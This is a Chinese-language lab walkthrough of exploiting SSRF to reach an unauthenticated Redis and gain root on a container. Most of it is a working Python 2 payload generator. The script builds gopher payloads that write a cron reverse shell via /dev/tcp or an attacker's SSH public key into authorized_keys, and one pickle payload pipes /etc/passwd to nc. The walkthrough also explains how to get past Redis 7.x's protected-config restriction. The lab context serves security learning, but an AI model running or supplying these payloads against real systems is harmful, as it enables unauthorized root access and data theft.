目录
漏洞介绍
SSRF
Redis未授权
利用原理
环境搭建
利用过程
rockylinux
cron计划任务反弹shell
写公钥+免密登录
ubuntu
写公钥+免密登录
漏洞介绍
SSRF
SSRF(server side request forgrey)服务端请求伪造,因后端未过滤用户输入,导致攻击者可以利用服务器向由攻击者输入的任意地址发起HTTP请求。攻击者可以对内网脆弱组件,redis,php-fpm发起攻击,获取服务器权限
Redis未授权
Redis在低版本中未强制设置密码,攻击者可以无需任何权限访问redis,若redis未降权运行,可获取服务器root权限
利用原理
原理即为攻击者通过SSRF访问内网或本地的redis6379端口,如果刚好存在redis未授权,即可getshell
环境搭建
原来的靶场环境Web-Hacking-Lab因为centos的停止维护用不了了,我改成了rockylinux8的镜像,类似centos操作系统
注意:我是在外网的公网服务器上搭建的,不保证国内可以搭建成功,师傅们自行修改docker文件
链接:https://pan.baidu.com/s/1-ebmTKaWGu3qeat5fK1iOw?pwd=cate
提取码:cate
利用过程
rockylinux
访问http://ip:2222
尝试file读取文件,成功读取,说明存在ssrf漏洞
尝试访问本地6379端口,发现redis报错,说明存在redis组件
cron计划任务反弹shell
#!/usr/bin/python2
from __future__ import print_function
import os
import sys
import base64
import urllib
import pickle
import subprocess
def generate_resp(command):
res = ""
if isinstance(command, list):
pass
else:
command = command.split(" ")
res += "*{}\n".format(len(command))
for cmd in command:
res += "${}\n".format(len(cmd))
res += "{}\n".format(cmd)
return res
def get_public_ip():
try:
return subprocess.check_output(["curl","-s","ident.me"])
except:
return None
def generate_gopher(payload):
final_payload = "gopher://127.0.0.1:6379/_{}".format(urllib.quote(payload))
return final_payload
def ssh_key_write(ssh_dir="/root/.ssh"):
res = ""
pubkey_path = "/root/.ssh/id_rsa.pub"
if(not os.path.exists(pubkey_path)):
print("Please Run : ssh-keygen -t rsa")
exit(1)
pubkey = "\n\n" + open(pubkey_path,"r").read()
res += generate_resp('flushall')
# res += generate_resp('set 1 {}'.format(pubkey))
res += generate_resp("set 1 {DUMMY}".format(DUMMY="A" * len(pubkey)))
res += generate_resp('config set dir {}'.format(ssh_dir))
res += generate_resp('config set dbfilename authorized_keys')
res += generate_resp('save')
res += generate_resp('quit')
res = res.replace("A" * len(pubkey),pubkey)
res = res.replace("\n","\r\n")
print(generate_gopher(res))
print("")
print("")
print("====================================================")
print("After payload executed, try ssh root@server_hostname")
print("====================================================")
def cron_write(ip, port=8080, os_type="centos"):
if os_type == "centos":
crontab_path = "/var/spool/cron/"
else:
crontab_path = "/var/spool/cron/crontabs"
cron_command = "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'\n\n".format(ip=ip, port=port)
res = ""
res += generate_resp('flushall')
res += generate_resp("set 1 {DUMMY}".format(DUMMY="A" * len(cron_command)))
res += generate_resp('config set dir {}'.format(crontab_path))
res += generate_resp('config set dbfilename root')
res += generate_resp('save')
res += generate_resp('quit')
res = res.replace("\n","\r\n")
res = res.replace("A" * len(cron_command), cron_command)
print(generate_gopher(res))
class PickleExploit(object):
def __reduce__(self):
ip = "127.0.0.1"
port = "9091"
cmd = 'cat /etc/passwd | nc {} {}'.format(ip, port)
return (os.system, (cmd,))
def pickle_payload(key):
res = ""
payload = pickle.dumps(PickleExploit())
res += "\r\n"
res += generate_resp("set {} {}".format(key, base64.b64encode(payload)))
res = res.replace("\n", "\r\n")
print(generate_gopher(res).replace("gopher","http"))
if len(sys.argv) < 2:
print("cron or ssh or pickle")
sys.exit(0)
if sys.argv[1] == "cron":
ip = raw_input("Reverse IP > ") or get_public_ip() or "127.0.0.1"
port = raw_input("Port > ") or "8080"
os_type = raw_input("Centos/Ubuntu (Default Centos)") or "centos"
cron_write(ip=ip,port=port)
if sys.argv[1] == "ssh":
ssh_key_write()
if sys.argv[1] == "pickle":
key = raw_input("Key name > ")
pickle_payload(key)
利用python脚本生成payload,注意是python2
抓包发送payload,(这里因为是post数据流,可以urlencode,也可以不用)
可以看到redis返回ok
等待一分钟左右,成功反弹root权限
进容器,可以看到任务计划中成功写入反弹shell脚本
写公钥+免密登录
同样利用python脚本生成payload
ssh-keygen生成密钥
抓包发送payload,可以看到redis返回ok
注意这里不要urlencode编码,否则会出现下面这种情况
然后直接ssh登录,成功登录,注意这里的 -p 10025,因为是容器的22端口映射到服务器上的10025端口
进容器查看.ssh目录,发现的确写入了公钥
ubuntu
写公钥+免密登录
探测6379端口是否存在,发现redis返回报错信息
同样python生成payload
但是在发送时却遇到了问题
为此我在容器里redis-cli连接redis,直接写入,看看是否是redis的问题
果不其然,是redis的问题
那为什么rockylinux没有问题?
我查看了Dockerfile文件,发现rockylinux使用的是5.0.5的redis版本
而ubuntu用的则是稳定版本
之后想起来redis有一个保护模式,我尝试改成no,然后重启redis,仍然不行
查找其他博主的博客。尝试这两个命令,仍然不行
config set protected-mode no
config set slave-read-only no
发现可能是版本太高,换个版本试试
换成6.2.9后直接设置成功,没有报错
再试试高一点的 7.2.1版本,发现也还是不行
说明redis在7.x版本中意识到了redis未授权对服务器的危害,不允许用户再自定义被保护的配置路径
想要在7.x版本中复现,可以修改redis配置文件的配置,将下面的配置改为yes
再次发送payload
成功登录